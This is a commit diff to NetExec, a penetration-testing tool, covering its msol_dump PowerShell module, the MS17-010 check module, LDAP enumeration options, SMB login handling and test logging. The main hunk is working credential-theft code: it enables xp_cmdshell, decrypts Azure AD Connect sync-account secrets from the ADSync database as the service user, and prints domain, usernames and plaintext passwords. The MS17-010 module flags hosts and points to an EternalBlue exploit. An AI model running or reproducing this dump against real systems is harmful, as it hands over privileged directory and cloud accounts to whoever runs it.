upgrade msol to collect sync account

nxc/data/msol_dump/msol_dump.ps1

@@ -25,7 +25,7 @@ $instance_id = $reader.GetGuid(1)
 $entropy = $reader.GetGuid(2)
 $reader.Close()
 
-Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
+Write-Host "[*] Querying ADSync localdb (mms_management_agent) for On-Prem Sync Account"
 
 $cmd = $client.CreateCommand()
 $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
@@ -51,15 +51,56 @@ while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
     $decrypted += $reader.GetString(0)
 }
 
+$reader.Close()
+
+if ($decrypted -eq [string]::Empty) {
+    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
+    return
+}
+
+$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
+$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
+$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+
+Write-Host "Domain: $($domain.Domain)"
+Write-Host "Username: $($username.Username)"
+Write-Host "Password: $($password.Password)"
+Write-Host "   "
+
+Write-Host "[*] Querying ADSync localdb (mms_management_agent) for Azure Sync Account"
+
+$cmd = $client.CreateCommand()
+$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"
+$reader = $cmd.ExecuteReader()
+if ($reader.Read() -ne $true) {
+    Write-Host "[!] Error querying mms_management_agent"
+    return
+}
+
+$config = $reader.GetString(0)
+$crypted = $reader.GetString(1)
+$reader.Close()
+
+Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
+
+$cmd = $client.CreateCommand()
+$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
+$reader = $cmd.ExecuteReader()
+
+$decrypted = [string]::Empty
+
+while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
+    $decrypted += $reader.GetString(0)
+}
+
 if ($decrypted -eq [string]::Empty) {
     Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
     return
 }
 
 $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
-$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
+$username = select-xml -Content $config -XPath "//parameter[@name='UserName']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
 $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
 
-Write-Host "Domain: $($domain.Domain)"
 Write-Host "Username: $($username.Username)"
-Write-Host "Password: $($password.Password)"
+Write-Host "Password: $($password.Password)"

nxc/modules/ms17-010.py

@@ -62,15 +62,10 @@ class NXCModule:
         self.logger = context.log
 
     def on_login(self, context, connection):
-        try:
-            if self.check(connection.host):
-                context.log.highlight("VULNERABLE")
-                context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
-        except ConnectionResetError as e:
-            context.log.debug(f"Error connecting to host when checking for MS17-010: {e!s}")
-        except ValueError as e:
-            if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
-                context.log.debug("Buffer size too small, which means the response was not the expected size")
+        if self.check(connection.host):
+            context.log.highlight("VULNERABLE")
+            context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
+
 
 
     def generate_smb_proto_payload(self, *protos):
@@ -481,7 +476,7 @@ class NXCModule:
         # 0xC0000022 - STATUS_ACCESS_DENIED
 
         if nt_status == b"\x05\x02\x00\xc0":
-            self.logger.highlight(f"[+] {ip} is likely VULNERABLE to MS17-010! ({native_os.decode()})")
+            self.logger.highlight(f"[+] [{ip}] is likely VULNERABLE to MS17-010! ({native_os.decode()})")
 
             # vulnerable to MS17-010, check for DoublePulsar infection
             raw_proto = self.trans2_request(tree_id, process_id, user_id, multiplex_id)
@@ -496,8 +491,8 @@ class NXCModule:
                 key = self.calculate_doublepulsar_xor_key(smb.signature)
                 self.logger.highlight(f"Host is likely INFECTED with DoublePulsar! - XOR Key: {key.decode()}")
         elif nt_status in (b"\x08\x00\x00\xc0", b"\x22\x00\x00\xc0"):
-            self.logger.fail(f"{ip} does NOT appear vulnerable")
+            self.logger.fail(f"[-] [{ip}] does NOT appear vulnerable")
         else:
-            self.logger.fail(f"{ip} Unable to detect if this host is vulnerable")
+            self.logger.fail(f"[-] [{ip}] Unable to detect if this host is vulnerable")
 
         client.close()

nxc/protocols/ldap.py

@@ -831,34 +831,6 @@ class ldap(connection):
                 self.logger.fail("Exception:", exc_info=True)
                 self.logger.fail(f"Skipping item, cannot process due to error {e}")
 
-    def active_users(self):
-        # Building the search filter
-        search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
-        attributes = ["sAMAccountName", "userAccountControl"]
-
-        resp = self.search(search_filter, attributes, sizeLimit=0)
-        if resp:
-            for item in resp:
-                if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                    continue
-                sAMAccountName = ""
-                userAccountControl = ""
-                try:
-                    if self.username == "":
-                        self.logger.highlight(f"{item['objectName']}")
-                    else:
-                        for attribute in item["attributes"]:
-                            if str(attribute["type"]) == "sAMAccountName":
-                                sAMAccountName = str(attribute["vals"][0])
-                            elif str(attribute["type"]) == "userAccountControl":
-                                userAccountControl = int(attribute["vals"][0])
-                                account_disabled = userAccountControl & 2
-                        if not account_disabled: 
-                            self.logger.highlight(f"{sAMAccountName}")
-                except Exception as e:
-                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
-            return
-
     def asreproast(self):
         if self.password == "" and self.nthash == "" and self.kerberos is False:
             return False

nxc/protocols/ldap/proto_args.py

@@ -24,7 +24,6 @@ def proto_args(parser, std_parser, module_parser):
     vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
     vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
     vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
-    vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
 
     ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
     ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")

nxc/protocols/smb.py

@@ -464,11 +464,9 @@ class smb(connection):
             try:
                 self.conn.login(self.username, self.password, domain)
             except UnicodeEncodeError:
-                self.logger.error(f"UnicodeEncodeError on: '{self.username}:{self.password}'. Falling back to hash login.")
+                self.logger.error(f"UnicodeEncodeError on: '{self.username}:{self.password}'. Trying again with a different encoding...")
                 self.create_conn_obj()
-                import hashlib
-                nt_hash = hashlib.new("md4", self.password.encode("utf-16le")).hexdigest()
-                return self.hash_login(domain, username, nt_hash)
+                self.conn.login(self.username, self.password.encode().decode("latin-1"), domain)
 
             self.check_if_admin()
             self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")

tests/e2e_test.py

@@ -108,7 +108,6 @@ def run_e2e_tests(args):
 
         while tasks:
             task = tasks.pop(0)
-            console.log(f"Running command: {task!s}")
             result = subprocess.Popen(
                 str(task),
                 shell=True,
@@ -130,8 +129,7 @@ def run_e2e_tests(args):
             if args.errors:
                 raw_text = text.decode("utf-8")
                 if "error" in raw_text.lower() or "failure" in raw_text.lower():
-                    console.log("[bold red]Error Detected:")
-                    console.log(f"{raw_text}")
+                    console.log(f"[bold red] Error Detected: {raw_text}")
 
             if args.verbose:
                 # this prints sorta janky, but it does its job